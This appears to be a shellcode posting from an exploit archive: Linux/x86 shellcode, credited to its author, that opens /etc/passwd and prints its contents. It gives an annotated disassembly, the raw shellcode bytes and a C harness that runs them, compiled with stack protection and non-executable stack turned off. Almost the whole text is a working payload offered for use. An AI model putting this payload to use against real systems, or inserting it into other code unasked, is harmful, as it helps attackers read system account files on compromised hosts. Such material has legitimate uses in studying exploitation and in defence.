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Linux/x86 - Read File (/etc/passwd) MSF Optimized Shellcode (61 bytes)
/* # Shellcode Title: Linux/x86 - Read File (/etc/passwd) MSF Optimized Shellcode (61 bytes) # Author: Ray Doyle (@doylersec) # Homepage: https://www.doyler.net # Tested on: Linux/x86 # gcc -o readfile_shellcode -z execstack -fno-stack-protector readfile_shellcode.c */ /**************************************************** Disassembly of section .text: 08048060 <_start>: 8048060: eb 2b jmp 804808d <call_shellcode> 08048062 <shellcode>: 8048062: 31 c0 xor eax,eax 8048064: b0 05 mov al,0x5 8048066: 5b pop ebx 8048067: 31 c9 xor ecx,ecx 8048069: cd 80 int 0x80 804806b: 89 c3 mov ebx,eax 804806d: b0 03 mov al,0x3 804806f: 89 e7 mov edi,esp 8048071: 89 f9 mov ecx,edi 8048073: 31 d2 xor edx,edx 8048075: b6 10 mov dh,0x10 8048077: cd 80 int 0x80 8048079: 89 c2 mov edx,eax 804807b: 31 c0 xor eax,eax 804807d: b0 04 mov al,0x4 804807f: 31 db xor ebx,ebx 8048081: b3 01 mov bl,0x1 8048083: cd 80 int 0x80 8048085: 31 c0 xor eax,eax 8048087: b0 01 mov al,0x1 8048089: 31 db xor ebx,ebx 804808b: cd 80 int 0x80 0804808d <call_shellcode>: 804808d: e8 d0 ff ff ff call 8048062 <shellcode> 08048092 <message>: 8048092: 2f das 8048093: 65 gs 8048094: 74 63 je 80480f9 <message+0x67> 8048096: 2f das 8048097: 70 61 jo 80480fa <message+0x68> 8048099: 73 73 jae 804810e <message+0x7c> 804809b: 77 64 ja 8048101 <message+0x6f> ****************************************************/ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\xeb\x2b\x31\xc0\xb0\x05\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\x10\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xd0\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } # 0day.today [2024-12-24] #